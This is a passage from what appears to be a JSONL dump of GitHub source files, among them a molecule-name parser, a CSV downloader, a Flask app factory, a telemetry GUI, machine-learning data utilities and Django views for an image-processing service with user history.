prefixes.index(pre)+1\n for i in range(repeat):\n rammify.append((numb[i],val))\n tempM = tempM[2:]\n \n if tempM[0] == '-':\n tempM = tempM[1:]\n\n print(rammify)\n\n #CHAINE PRINCIPAL\n\n print(tempM)\n\n pre = getElt(prefixes, tempM)\n tempM = tempM[len(pre) + 2:]\n\n numb = [1] #when the ending is suf1\n if tempM[0] == '-':\n numb, tempM = getNumbs(tempM[1:])\n repeat, tempM= getRepeat(tempM)\n if len(numb) != repeat:\n print(\"ERROR: {} doesn't match {}\".format(len(numb),repeat))\n\n suf = getElt(suffixes, tempM)\n\n val = prefixes.index(pre)+1\n\n tableau = [[] for i in range(val)]\n for elt in rammify:\n tableau[elt[0]-1].append(elt[1])\n\n for i in numb:\n for atom in suffixes.get(suf):\n tableau[i-1].append(atom)\n \n return tableau\n\n\n#------------------- PROGRAMME -------------------\n\nwhile True:\n molecule = input(\"Insert molecule name: \").lower()\n\n if valid(molecule):\n break\n else:\n print(\"Please provide valid molecule.\\n\")\n\ntableau = parseMolecule(molecule)\n\nprint(tableau)\n\ndrawMolecule(tableau)\n","repo_name":"cmoll24/IUPAC-Chemistry-Renderer","sub_path":"OrganicChemistry.py","file_name":"OrganicChemistry.py","file_ext":"py","file_size_in_byte":6409,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"15029480207","text":"\"\"\"\nThis script will extract files from pages provided\n\"\"\"\n\n# Standar library imports\nimport os\nimport pandas as pd\nimport requests\nimport datetime\nfrom requests.exceptions import HTTPError\nfrom bs4 import BeautifulSoup\nfrom decouple import config\n\n# Local applications\nfrom loggings import set_up_loggin\n\n# Set up logger\nlogger = set_up_loggin(config(\"FILE_LOGGER_NAME\"))\n\n\ndef find_url_csv(url: str):\n \"\"\"\n This function receive the url\n where csv files will be downloaded.\n \n @param: url of the page where is located the csv file\n \"\"\"\n try: \n response = requests.get(url)\n if response.ok:\n logger.info(\"Connection status to the current page: Ok\")\n else:\n logger.error(\"Connection status to the current page: Fail\") \n except HTTPError as http_error: \n logger.critical(f\"{http_error}\")\n except Exception as ex:\n logger.error(f\"{ex}\") \n \n soup = BeautifulSoup(response.text, features=\"html.parser\")\n tag = soup.find(\"a\", class_=\"btn btn-green btn-block\")\n \n \n return tag.attrs[\"href\"] \n \n \ndef download_csv(category, url):\n \"\"\"\n This function takes the csv's url\n and prepare the file to be downloaded\n \n @param: category of the file will be downloaded\n \n @param: url of the csv file\n \"\"\" \n # Dates \n year = datetime.datetime.now().year\n month = datetime.datetime.now()\n day = datetime.datetime.now().day\n \n # Building path\n path = f\"{category}\" \n if not os.path.exists(path):\n os.mkdir(path)\n \n path = os.path.join(path, f\"{year}-{month.strftime('%B')}\")\n if not os.path.exists(path):\n os.mkdir(path) \n \n try: \n response = requests.get(url)\n if response.ok:\n with open(\n os.path.join(path, f\"{category}-{day}-{month.month}-{year}\"), \n \"wb\"\n ) as f:\n f.write(response.content) \n \n logger.info(f\"{category} information download status: Success\") \n else:\n logger.error(f\"{category} information download status: Fail\") \n except HTTPError as http_error: \n logger.critical(f\"{http_error}\")\n except Exception as ex:\n logger.error(f\"{ex}\") \n \n # Setting categories\n \n \ndef main_download_source_files(): \n \"\"\"\n This function execute the functions\n created above.\n \"\"\"\n logger.info(\"The execution of download_source_files.py started\")\n\n categories = [\"MUSEOS\", \"BIBLIOTECAS\", \"CINES\"] \n for i in categories:\n url = find_url_csv(config(i))\n download_csv(i.lower(), url) \n \n logger.info(\"The execution of download_source_files.py finished\")\n\nif __name__ == '__main__':\n main_download_source_files()\n ","repo_name":"gioleon/challenge-alkemy","sub_path":"download_source_files.py","file_name":"download_source_files.py","file_ext":"py","file_size_in_byte":2828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22516793928","text":"import os\nimport yaml\nfrom flask import Flask as BaseFlask, Config as BaseConfig\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_marshmallow import Marshmallow\n\ndb = SQLAlchemy()\nma = Marshmallow()\n\n\nclass Config(BaseConfig):\n\n def from_yaml(self, config_file):\n env = os.environ.get('FLASK_ENV', 'development')\n self['ENVIRONMENT'] = env.lower()\n\n with open(config_file) as f:\n c = yaml.load(f, yaml.Loader)\n\n c = c.get(env, c)\n for key in c.keys():\n if key.isupper():\n self[key] = c[key]\n\n\nclass Flask(BaseFlask):\n\n def make_config(self, instance_relative=False):\n root_path = self.root_path\n if instance_relative:\n root_path = self.instance_path\n return Config(root_path, self.default_config)\n\n\ndef register_blueprints(app: Flask):\n from .handler import user\n from .handler import node\n app.register_blueprint(user.user_bp)\n app.register_blueprint(node.node_bp)\n\n\ndef create_app():\n app = Flask(__name__, instance_relative_config=True)\n app.config.from_yaml(os.path.join(app.root_path, 'config.yml'))\n register_blueprints(app)\n db.init_app(app)\n ma.init_app(app)\n with app.app_context():\n db.create_all()\n a = db.session.execute(\n \"SELECT COUNT(1) indexExists FROM INFORMATION_SCHEMA.STATISTICS \"\n \"WHERE table_schema=DATABASE() AND table_name='node' AND index_name='idx_node_ftxt';\")\n if a.columns('indexExists').first()[0] == 0:\n db.session.execute(\"CREATE FULLTEXT INDEX idx_node_ftxt on node (detail)\")\n return app\n","repo_name":"flametest/flask-server-example","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13926023220","text":"#가로축순회 하고 회문 못찾으면 세로축순회\n#가로축 처음인덱스와 끝인덱스 비교비교비교\n\nT = int(input())\nfor tc in range(1, T+1):\n n, m = map(int,input().split())\n arr = [input() for _ in range(n)]\n result = 0\n newnewarr=[]\n # 가로축에서 회문 찾기\n for i in range(n): # 0 1 2 3 4 5 6 7 8 9\n for j in range(n-m+1): # 0 1 2 3 4\n if arr[i][j:j+m] == arr[i][j:j+m][::-1]:\n result = ''.join(arr[i][j:j+m])\n\n # 세로축에서 회문 찾기\n # 세로축은 슬라이싱 안되니까 행 열 자리 바꿔주자\n for i in range(n):\n newarr = []\n for j in range(n):\n newarr += arr[j][i]\n newnewarr.append(''.join(newarr))\n\n for i in range(n): # 0 1 2 3 4 5 6 7 8 9\n for j in range(n-m+1): # 0 1 2 3 4\n if newnewarr[i][j:j+m] == newnewarr[i][j:j+m][::-1]:\n result = ''.join(newnewarr[i][j:j+m])\n\n print(f'#{tc} {result}')\n\n\n\n","repo_name":"seongbiny/algorithm","sub_path":"SWEA/4861.py","file_name":"4861.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"522396199","text":"import torch\r\nfrom facenet_pytorch import MTCNN\r\nfrom src.Utils.ConfigProvider import ConfigProvider\r\nimport numpy as np\r\nimport cv2\r\nfrom src.post_processing.PostProcessor import PostProcessor\r\nfrom src.statefull_processing.BboxTracker import BboxTracker\r\n\r\n\r\nclass StatefulFrameProcessor(object):\r\n def __init__(self):\r\n self._config = ConfigProvider.config()\r\n self._device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\r\n print(f'Running on device: {self._device}')\r\n self._mtcnn = MTCNN(keep_all=True, device=self._device)\r\n self._bbox_tracker = BboxTracker()\r\n\r\n # self._last_frame_filtered_bboxes, self._last_frame_confidences = None, None\r\n\r\n def process_single_frame(self, frame, frame_index):\r\n detected_bboxes, confidences = self._mtcnn.detect(frame)\r\n detected_bboxes = [] if detected_bboxes is None else detected_bboxes\r\n confidences = [] if confidences is None else confidences\r\n\r\n confident_bboxes = np.array([bbox for bbox, confidence in zip(detected_bboxes, confidences) if\r\n self._config.detection.confidence_threshold < confidence])\r\n tracked_bboxes = self._bbox_tracker.update_tracked_bboxes(\r\n frame_index=frame_index,\r\n new_bboxes=confident_bboxes)\r\n\r\n frame = cv2.cvtColor(np.array(frame), cv2.COLOR_RGB2BGR)\r\n if 0 < len(tracked_bboxes.shape):\r\n frame = PostProcessor.draw_rectengles(frame, tracked_bboxes)\r\n frame = PostProcessor.blur_at_bboxes(frame, tracked_bboxes)\r\n return frame\r\n","repo_name":"noamzilo/face_pose_estimation","sub_path":"statefull_processing/StatefulFrameProcessor.py","file_name":"StatefulFrameProcessor.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8024989114","text":"import gc\n\nfrom pandas import Categorical\n\nfrom .evaluation.analysis import normalize_scores\n\n\ndef rank_by_func(scores):\n scores['rank'] = scores.groupby('func').score.rank(ascending=False, method='first')\n return scores\n\n\ndef add_helper_columns(scores):\n scores['is_indication'] = scores.group == 'indications'\n scores['is_indication'] = Categorical(scores.is_indication)\n scores['known_indication'] = scores['is_indication'].cat.rename_categories({\n True: 'known indications',\n False: 'non-indications'\n })\n return scores\n\n\ndef rename_and_order_func(scores, nice_function_names):\n scores.func = scores.func.cat.rename_categories(nice_function_names)\n scores.func = Categorical(scores.func, ordered=True, categories=[\n name\n for name in nice_function_names.values()\n if name in scores.func.unique()\n ])\n return scores\n\n\ndef categorize_values(scores):\n categorical_columns = ['pert_iname', 'group', 'pert_idose', 'func', 'cell_id']\n for categorical in categorical_columns:\n if categorical in scores.columns:\n scores[categorical] = Categorical(scores[categorical])\n gc.collect()\n return scores\n\n\ndef process_scores(scores, names_map):\n scores = categorize_values(scores)\n scores = normalize_scores(scores, rescale=True, by_cell=False)\n scores = rename_and_order_func(scores, names_map)\n scores = add_helper_columns(scores)\n scores = rank_by_func(scores)\n return scores\n","repo_name":"krassowski/drug-disease-profile-matching","sub_path":"signature_scoring/post_processing.py","file_name":"post_processing.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"37"} +{"seq_id":"22243376859","text":"import tkinter as tk\nfrom tkinter import ttk\nfrom PIL import Image\nfrom PIL import ImageTk\nimport serial as sr\nimport numpy as np\nimport pandas as pd\nimport csv\nimport serial.tools.list_ports\n\n################################################### SERIAL DATA FUNCTIONS ########################################################\n# a = {\\\n# \"pkt\":15,\"drp\":101,\"alt\":65,\"temp\":84.59,\"lat\":49.854826,\n# \"lon\":72.958413,\"hdng\":20.54,\"spd\":10.96,\"aclx\":2.12,\"acly\":6.54,\n# \"aclz\":1.25,\"gyrox\":1.26,\"gyroy\":1.48,\"gyroz\":2.08,\"magx\":1.85,\n# \"magy\":8.95,\"magz\":4.85,\"habDrp\":68.95,\"cdaDrp\":23.39,\"watDrp\":102.65,\"rssi\":-40\n# } # Dummy Data\n# df = pd.DataFrame.from_dict(data = a, orient = 'index').T\ncond = False\ndf = pd.DataFrame()\n\n\ndef get_data():\n global cond, s, df # , a, df\n cda_check_drop = 0\n wh_check_drop = 0\n if (cond == True):\n serialString = s.readline().rstrip().decode(\"utf-8\") # Read data in serial buffer\n try:\n serialDict = eval(serialString) # Try to convert the raw string into a dictionary\n # serialDict = a\n except (NameError, SyntaxError, ValueError) as e: # catch any errors when trying to convert to dictionary\n pass\n else:\n print(serialDict)\n df = df.append(serialDict, ignore_index=True)\n\n altitude = format(serialDict['alt'],\".2f\")\n str_alt.set(altitude)\n\n speed = serialDict['spd']\n str_spd = tk.StringVar()\n str_spd.set(speed)\n speed_num = tk.Label(alt_frame, textvariable=str_spd, font=(\"Fixedsys\", 48), bd=5, relief=\"sunken\")\n speed_num.grid(row=1, column=6, sticky=\"ns\")\n\n if float(serialDict['habHeight']) != 0 and wh_check_drop == 0:\n wh_alt = serialDict['habHeight']\n wh_cda_alt = tk.StringVar()\n wh_cda_alt.set(wh_alt)\n\n wh_num = tk.Label(alt_frame, textvariable=wh_cda_alt, font=(\"Fixedsys\", 48), bd=5, relief=\"sunken\")\n wh_num.grid(row=1, column=4, sticky=\"ns\")\n wh_check_drop = 1\n\n if float(serialDict['cdaHeight']) != 0 and cda_check_drop == 0:\n cda_alt = serialDict['cdaHeight']\n str_cda_alt = tk.StringVar()\n str_cda_alt.set(cda_alt)\n\n cda_num = tk.Label(alt_frame, textvariable=str_cda_alt, font=(\"Fixedsys\", 48), bd=5, relief=\"sunken\")\n cda_num.grid(row=1, column=2, sticky=\"ns\")\n cda_check_drop = 1\n\n root.update_idletasks()\n root.after(100, get_data)\n\n\ndef data_stop():\n global cond, df, second_frame\n #cond = False\n for col_num, col_name in enumerate(df.columns):\n label = tk.Label(second_frame, width=6, height=1,\n text=col_name, relief=tk.RIDGE)\n label.grid(row=1, column=col_num)\n for i in range(len(df)):\n for j in range(len(df.iloc[0, :])):\n element = round(df.iloc[i, j], 2)\n label = tk.Label(second_frame, width=6, height=1,\n text=element, relief=tk.RIDGE)\n label.grid(row=i + 2, column=j)\n\n\n######################################################## COM PORT INPUT GUI ####################################################\n# function to return port # input\ndef format_port(port_number):\n com_port_str = 'COM' + str(port_number)\n return (com_port_str)\n\n\ndef get_port(entry):\n print('Port selected: ', entry)\n global comport_root\n comport_root.destroy()\n\n global cond\n cond = True\n # s.reset_input_buffer()\n\n global com_port\n com_port = format_port(entry)\n return com_port\n\n\n# comport GUI\ncomport_root = tk.Tk()\ncomport_root.title('Please enter your COM port')\ncomport_root.geometry('380x80')\n\n# entry box\nentry = tk.Entry(comport_root)\nentry.grid(row=1, column=0)\n\n# label of available COM ports\ncomList = serial.tools.list_ports.comports()\n# Get list of available COM ports\nconnected = ''\nfor element in comList:\n connected += (str(element.device) + ' ')\nlabel = tk.Label(comport_root, \\\n text='Available COM Ports:\\n' + connected,\n bg='white')\nlabel.grid(row=0, column=0)\n\n# enter button\nbutton = tk.Button(comport_root, \\\n text='Enter',\n bg='white',\n command=lambda: get_port(entry.get()))\nbutton.grid(row=1, column=1)\n\ncomport_root.mainloop()\n\n#################################################### BUILDING THE MAIN GUI ########################################################\n# creating the master window (root)\nroot = tk.Tk()\nroot.title('Ground Station GUI')\n# creating tab control\ntabcontrol = ttk.Notebook(root, \\\n height=1000,\n width=1800)\n\n# adding tabs\ndashboard = ttk.Frame(tabcontrol)\nall_data = ttk.Frame(tabcontrol)\ntabcontrol.add(dashboard, text='Dashboard')\ntabcontrol.add(all_data, text='All DAS Data')\ntabcontrol.pack(expand=1, fill='both')\n\n# ------------------------------------------------------- DASHBOARD TAB ---------------------------------------------------------------\n# CURRENT/PAYLOAD ALTITUDES AND SPEED\nalt_frame = tk.Frame(dashboard)\nalt_frame.place(relheigh=0.165, relwidth=0.70)\n\n# live altitude\n# altitude = 0.00\n# str_alt = tk.StringVar()\n# str_alt.set(altitude)\n\nalt_label = tk.Label(alt_frame, text=\"Current Altitude (ft):\", font=(\"Fixedsys\", 24), fg='black')\nalt_label.grid(sticky=\"nesw\")\n\nstr_alt = tk.StringVar()\nstr_alt.set(\"\")\nalt_num = tk.Label(alt_frame, textvariable=str_alt, font=(\"Fixedsys\", 48), bd=5, relief=\"sunken\")\nalt_num.grid(row=1, column=0, sticky=\"ns\")\n# alt_num = tk.Label(alt_frame, textvariable=str_alt, font=(\"Fixedsys\", 48), bd=5, relief=\"sunken\")\n# alt_num.grid(row = 1, sticky=\"ns\")\n\n# CDA altitude\n# cda_alt = 0.00\n# str_cda_alt = tk.StringVar()\n# str_cda_alt.set(cda_alt)\n\ncda_label = tk.Label(alt_frame, text=\"Colonist drop (ft):\", font=(\"Fixedsys\", 24), fg='black')\ncda_label.grid(row=0, column=2, sticky=\"nesw\", padx=15)\n\n# cda_num = tk.Label(alt_frame, textvariable=str_cda_alt, font=(\"Fixedsys\", 48), bd=5, relief=\"sunken\")\n# cda_num.grid(row=1, column = 2, sticky=\"ns\")\n\n# Water/habitat altitude\n# wh_alt = 0.00\n# str_wh_alt = tk.StringVar()\n# str_wh_alt.set(wh_alt)\n\nwh_label = tk.Label(alt_frame, text=\"Water/habitat drop (ft):\", font=(\"Fixedsys\", 24), fg='black')\nwh_label.grid(row=0, column=4, sticky=\"nesw\", padx=12)\n\n# wh_num = tk.Label(alt_frame, textvariable=str_cda_alt, font=(\"Fixedsys\", 48), bd=5, relief=\"sunken\")\n# wh_num.grid(row=1, column = 4, sticky=\"ns\")\n\n# Speed\n# speed = 0.00\n# str_speed = tk.StringVar()\n# str_speed.set(speed)\n\nspeed_label = tk.Label(alt_frame, text=\"Speed (mph):\", font=(\"Fixedsys\", 24), fg='black')\nspeed_label.grid(row=0, column=6, sticky=\"nesw\", padx=15)\n\n# speed_num = tk.Label(alt_frame, textvariable=str_cda_alt, font=(\"Fixedsys\", 48), bd=5, relief=\"sunken\")\n# speed_num.grid(row=1, column = 6, sticky=\"ns\")\n\n# # GPS\n# img = Image.open(\"formatted_airfield_test.jpeg\")\n# img = img.resize((400,480),Image.ANTIALIAS)\n# gps_img = ImageTk.PhotoImage(img)\n# gps_display = tk.Label(dashboard, image = gps_img)\n# gps_display.place(x=1000, y=250)\n\n# ----------------------------------------------------- DATA PLAYBACK TAB ---------------------------------------------------------------\nBOTH = 'both'\nLEFT = 'left'\nRIGHT = 'right'\nVERTICAL = 'vertical'\nY = 'y'\nstyle = ttk.Style()\nstyle.configure(\"Vertical.TScrollbar\", gripcount=0,\n background=\"Green\", darkcolor=\"DarkGreen\", lightcolor=\"LightGreen\",\n troughcolor=\"gray\", bordercolor=\"blue\", arrowcolor=\"white\")\n# making a main frame\nmain_frame = tk.Frame(all_data)\nmain_frame.pack(fill=BOTH, expand=1)\n# making a canvas\ndata_canvas = tk.Canvas(main_frame)\ndata_canvas.pack(side=LEFT, fill=BOTH, expand=1)\n# making a scrollbar\nscrollbar = ttk.Scrollbar(main_frame, orient=VERTICAL, command=data_canvas.yview, style=\"Vertical.TScrollbar\")\nscrollbar.pack(side=RIGHT, fill=Y)\n# configure the canvas\ndata_canvas.configure(yscrollcommand=scrollbar.set)\ndata_canvas.bind('', lambda e: data_canvas.configure(scrollregion=data_canvas.bbox('all')))\n# making a second frame for the data\nsecond_frame = tk.Frame(data_canvas)\n# adding that^ frame to a window to be placed in the canvas\ndata_canvas.create_window((0, 300), window=second_frame, anchor='nw')\n\n# adding a display data button\nshow_data_button = tk.Button(all_data, \\\n text='Click for data', command=lambda: data_stop())\nshow_data_button.place(anchor='nw')\n\ns = sr.Serial('COM4', 9600) # change COM Port name\ns.reset_input_buffer()\nroot.after(5, get_data)\nroot.mainloop()\n","repo_name":"FirkinTage/UDASAE_Controls","sub_path":"ControlsGUI/GUI-Draft-3.py","file_name":"GUI-Draft-3.py","file_ext":"py","file_size_in_byte":8694,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"34900674207","text":"import warnings\nfrom typing import List\n\nimport torch\nfrom torch.utils.data import random_split\nfrom torch_geometric.loader import DataLoader\nfrom torch_geometric.transforms import Compose\n\nfrom matdeeplearn.common.registry import registry\nfrom matdeeplearn.preprocessor.datasets import LargeStructureDataset, StructureDataset\n\n\n# train test split\ndef dataset_split(\n dataset,\n train_size: float = 0.8,\n valid_size: float = 0.05,\n test_size: float = 0.15,\n):\n \"\"\"\n Splits an input dataset into 3 subsets: train, validation, test.\n Requires train_size + valid_size + test_size = 1\n\n Parameters\n ----------\n dataset: matdeeplearn.preprocessor.datasets.StructureDataset\n a dataset object that contains the target data\n\n train_size: float\n a float between 0.0 and 1.0 that represents the proportion\n of the dataset to use as the training set\n\n valid_size: float\n a float between 0.0 and 1.0 that represents the proportion\n of the dataset to use as the validation set\n\n test_size: float\n a float between 0.0 and 1.0 that represents the proportion\n of the dataset to use as the test set\n \"\"\"\n \n if train_size + valid_size + test_size > 1:\n warnings.warn(\"Invalid sizes detected (ratios add up to larger than one). Using default split of 0.8/0.05/0.15.\")\n train_size, valid_size, test_size = 0.8, 0.05, 0.15\n\n dataset_size = len(dataset)\n\n train_len = int(train_size * dataset_size)\n valid_len = int(valid_size * dataset_size)\n test_len = int(test_size * dataset_size)\n unused_len = dataset_size - train_len - valid_len - test_len\n\n (train_dataset, val_dataset, test_dataset, unused_dataset) = random_split(\n dataset,\n [train_len, valid_len, test_len, unused_len],\n )\n\n return train_dataset, val_dataset, test_dataset\n\ndef get_otf_transforms(transform_list: List[dict]):\n \"\"\"\n get on the fly specific transforms\n\n Parameters\n ----------\n\n transform_list: transformation function/classes to be applied\n \"\"\"\n\n transforms = []\n # set transform method\n for transform in transform_list:\n if transform.get(\"otf_transform\", False):\n transforms.append(\n registry.get_transform_class(\n transform[\"name\"],\n **transform.get(\"args\", {})\n )\n )\n \n return transforms\n\ndef get_dataset(\n data_path,\n processed_file_name,\n transform_list: List[dict] = [],\n large_dataset=False,\n dataset_device=None,\n):\n \"\"\"\n get dataset according to data_path\n this assumes that the data has already been processed and\n data.pt file exists in data_path/processed/ folder\n\n Parameters\n ----------\n\n data_path: str\n path to the folder containing data.pt file\n\n transform_list: transformation function/classes to be applied\n \"\"\"\n\n # get on the fly transforms for use on dataset access\n otf_transforms = get_otf_transforms(transform_list)\n\n # check if large dataset is needed\n if large_dataset:\n Dataset = LargeStructureDataset\n else:\n Dataset = StructureDataset\n\n composition = Compose(otf_transforms) if len(otf_transforms) >= 1 else None\n \n dataset = Dataset(data_path, processed_data_path=\"\", processed_file_name=processed_file_name, transform=composition, device=dataset_device)\n\n return dataset\n\n\ndef get_dataloader(\n dataset, batch_size: int, num_workers: int = 8, sampler=None, shuffle=True\n):\n \"\"\"\n Returns a single dataloader for a given dataset\n\n Parameters\n ----------\n dataset: matdeeplearn.preprocessor.datasets.StructureDataset\n a dataset object that contains the target data\n\n batch_size: int\n size of each batch\n\n num_workers: int\n how many subprocesses to use for data loading. 0 means that\n the data will be loaded in the main process.\n \"\"\"\n\n # load data\n try: \n device = str(dataset.dataset[0].pos.device)\n except:\n device = str(dataset[0].pos.device)\n \n if device == \"cuda:0\" or device == \"cuda\":\n loader = DataLoader(\n dataset,\n batch_size=batch_size,\n shuffle=(sampler is None),\n num_workers=0,\n pin_memory=False,\n sampler=sampler,\n )\n else:\n loader = DataLoader(\n dataset,\n batch_size=batch_size,\n shuffle=(sampler is None),\n num_workers=num_workers,\n pin_memory=True,\n sampler=sampler,\n )\n return loader\n","repo_name":"Fung-Lab/MatDeepLearn_dev","sub_path":"matdeeplearn/common/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":4691,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"37"} +{"seq_id":"14765376008","text":"from django.http import HttpResponseRedirect, HttpResponse\nfrom django.http.response import StreamingHttpResponse\nfrom django.contrib.auth.hashers import make_password, check_password\nfrom django.shortcuts import render\nfrom django.http import JsonResponse\nfrom django.core.paginator import Paginator, PageNotAnInteger, EmptyPage, InvalidPage\nimport sqlite3\nimport json\nimport random\nimport time\nimport datetime\nimport pytz\nimport os\nfrom math import *\nfrom . import rules\n\n\ndef switch_time(time_stamp):\n '''\n\t\t功能:时间戳转化为北京时间\n 输入:int类型,时间戳(毫秒级)\n 输出:str类型,对应的北京时间\n\t'''\n mili_second = time_stamp % 1000\n new_time_stamp = floor(time_stamp / 1000)\n time_array = time.localtime(new_time_stamp) \n time_real = time.strftime(\"%Y-%m-%d %H:%M:%S\", time_array)\n time_real += '.'\n time_real += str(mili_second).rjust(3,'0') \n #print(time_real)\n return time_real\n\n\ndef getCurTime():\n '''\n \t功能:获取当前毫秒时间戳\n 输出:int类型,时间戳(毫秒级)\n '''\n curtime = int(time.time() * 1000)\n return curtime\n\n\ndef show_index(request): \n '''\n \t功能:处理/index(主页)访问请求\n '''\n\n context = {}\n username = rules.judge_whether_loaded(request)\n if(username == None):\n #未登录,报错\n response = HttpResponseRedirect('/error') \n return response\n else:\n context['username'] = username\n return render(request, 'index.html', context)\n\ndef show_error(request):\n '''\n \t功能:处理/error(错误)访问请求,如果未登录访问主页,历史记录,删除等会让你返回登录,已登录访问登录,注册会让你返回主页\n '''\n context = {}\n username = rules.judge_whether_loaded(request)\n if(username != None):\n #已经登录,报错\n context['logged'] = True\n else:\n #未登录\n context['logged'] = False\n return render(request, 'error.html', context)\n\n\ndef show_logout(request):\n '''\n \t功能:处理/logout(注销)访问请求\n '''\n rules.logout(request)\n response = HttpResponseRedirect('/login')\n #response.set_cookie('session_id', None)\n return response\n\ndef show_logon(request):\n '''\n \t功能:处理/logon(注册)访问请求\n 如果注册成功,返回用户名\n 注册失败,返回失败错误码\n '''\n context = {}\n show_data = {}\n username = rules.judge_whether_loaded(request)\n if(username != None):\n #已经登录,报错\n response = HttpResponseRedirect('/error') \n return response\n if request.method == 'POST':\n show_data = rules.logon(request)\n if \"error\" in show_data.keys():\n context[\"message\"] = show_data[\"error\"]\n context[\"result\"] = \"error\"\n else:\n context[\"result\"] = \"注册成功!\"\n context[\"message\"] = \"用户名为\" + str(show_data[\"user\"]) \n return render(request, 'logon.html', context)\n\ndef show_login(request):\n '''\n \t功能:处理/login(登录)访问请求\n 如果登录成功,重定向主页\n 登陆失败,返回错误码\n '''\n context = {}\n show_data = {}\n username = rules.judge_whether_loaded(request)\n if(username != None):\n #已经登录,报错\n response = HttpResponseRedirect('/error') \n return response\n if request.method == 'POST':\n show_data = rules.login(request)\n if \"error\" in show_data.keys():\n context[\"message\"] = show_data[\"error\"]\n context[\"result\"] = \"error\" \n return render(request, 'login.html', context)\n else:\n response = HttpResponseRedirect('/index') \n response.set_cookie('session_id', show_data[\"session\"])\n return response\n else:\n return render(request, 'login.html', context)\n\n \ndef show_service(request):\n '''\n \t功能:处理主页的查看图片功能\n 将后端返回的base64图片转化为可以在前端img显示的src,然后返回\n '''\n response_content = rules.service(request)\n response_content[\"original\"] = \"data:image/jpeg;base64,\" + response_content[\"original\"][ : ]\n response_content[\"result\"] = \"data:image/jpeg;base64,\" + response_content[\"result\"][ : ]\n #print(response_content)\n return JsonResponse(response_content)\n\n#x是历史记录,用于排序\ndef f(x):\n return int(x[\"time\"])\n\ndef show_history(request):\n '''\n \t功能:处理/history/的url,显示历史记录\n 查找并显示全部/按时间查找的历史记录,并且分页显示\n '''\n context = {}\n username = rules.judge_whether_loaded(request)\n if(username == None):\n #未登录,报错\n response = HttpResponseRedirect('/error') \n return response\n else:\n context['username'] = username\n if request.method == \"GET\":\n #将前端输入的时间转化为时间戳传给后端,如果没输入时间,传None\n try:\n start_date = str(request.GET.get(\"start_date\"))\n end_date = str(request.GET.get(\"end_date\"))\n start_time = start_date[ : ] + \" 00:00:00\"\n end_time = end_date[ : ] + \" 23:59:59\"\n start = time.mktime(time.strptime(start_time, '%Y-%m-%d %H:%M:%S')) * 1000\n end = time.mktime(time.strptime(end_time, '%Y-%m-%d %H:%M:%S')) * 1000\n assert start and end\n except:\n start = None\n end = None\n #查询全部记录,按照时间降序排序\n get_list = rules.query_date(request, start, end)\n for item in get_list[\"list\"]:\n item[\"time\"] = int(item[\"time\"])\n get_list[\"list\"].sort(key = f, reverse = True)\n record_list = []\n #将返回数据处理成前端显示的数据\n for item in get_list[\"list\"]:\n new_dict = {}\n new_dict[\"username\"] = item[\"username\"]\n new_dict[\"name\"] = item[\"name\"]\n new_dict[\"id\"] = str(item[\"record_id\"])\n if item[\"content\"] == \"No URL.\":\n new_dict[\"type\"] = \"本地图片\"\n else:\n new_dict[\"type\"] = \"网络下载\"\n new_dict[\"time\"] = switch_time(int(item[\"time\"]))\n record_list.append(new_dict)\n #分页显示\n #将数据按照规定每页显示10条, 进行分割\n paginator = Paginator(record_list, 10)\n # 获取 url 后面的 page 参数的值, 首页不显示 page 参数, 默认值是 1 \n try:\n page = request.GET.get('page')\n records = paginator.page(page)\n except:\n #如果请求的页数不合法,返回第一页\n records = paginator.page(1)\n context['records'] = records\n return render(request, \"history.html\", context)\n\ndef show_details(request):\n '''\n \t功能:处理/detail/的url,显示单个历史记录\n 获取单个历史记录的数据和图片,并且显示\n '''\n username = rules.judge_whether_loaded(request)\n if(username == None):\n #未登录,报错\n response = HttpResponseRedirect('/error') \n return response\n record = rules.get(request)\n if \"error\" in record.keys():\n #未找到此记录,报错\n response = HttpResponseRedirect('/not_found') \n return response\n #将返回的内容处理成前端显示的内容\n context = {}\n context[\"username\"] = record[\"username\"]\n context[\"id\"] = record[\"record_id\"]\n context[\"name\"] = record[\"name\"]\n context[\"time\"] = switch_time(int(record[\"time\"]))\n if record[\"content\"] == \"No URL.\":\n context[\"type\"] = \"本地图片\"\n else:\n context[\"type\"] = \"网络下载\"\n context[\"original\"] = \"data:image/jpeg;base64,\" + record[\"base64_image\"]\n context[\"result\"] = \"data:image/jpeg;base64,\" + record[\"base64_result\"]\n return render(request, \"detail.html\", context)\n\ndef show_delete(request):\n '''\n \t功能:处理/delete/的url,删除单个历史记录\n '''\n username = rules.judge_whether_loaded(request)\n if(username == None):\n #未登录,报错\n response = HttpResponseRedirect('/error') \n return response\n record = rules.delete(request)\n if \"error\" in record.keys():\n #未找到此记录,报错\n response = HttpResponseRedirect('/not_found') \n return response\n response = HttpResponseRedirect('/history/') \n return response\n\ndef show_not_found(request):\n '''\n \t功能:处理/not_found访问请求,如果历史记录不存在/没权限访问/历史记录不合法,比如图片损坏,格式不符,无法下载,无法打开等,显示这个\n '''\n context={}\n return render(request, \"not_found.html\", context)\n \ndef delete_many(request):\n '''\n \t功能:删除按时间选中的多个历史记录\n '''\n context = {}\n username = rules.judge_whether_loaded(request)\n if(username == None):\n #未登录,报错\n response = HttpResponseRedirect('/error') \n return response\n else:\n context['username'] = username\n #将输入时间转化为时间戳\n try:\n start_date = str(request.POST.get(\"start_date\"))\n end_date = str(request.POST.get(\"end_date\"))\n start_time = start_date[ : ] + \" 00:00:00\"\n end_time = end_date[ : ] + \" 23:59:59\"\n start = time.mktime(time.strptime(start_time, '%Y-%m-%d %H:%M:%S')) * 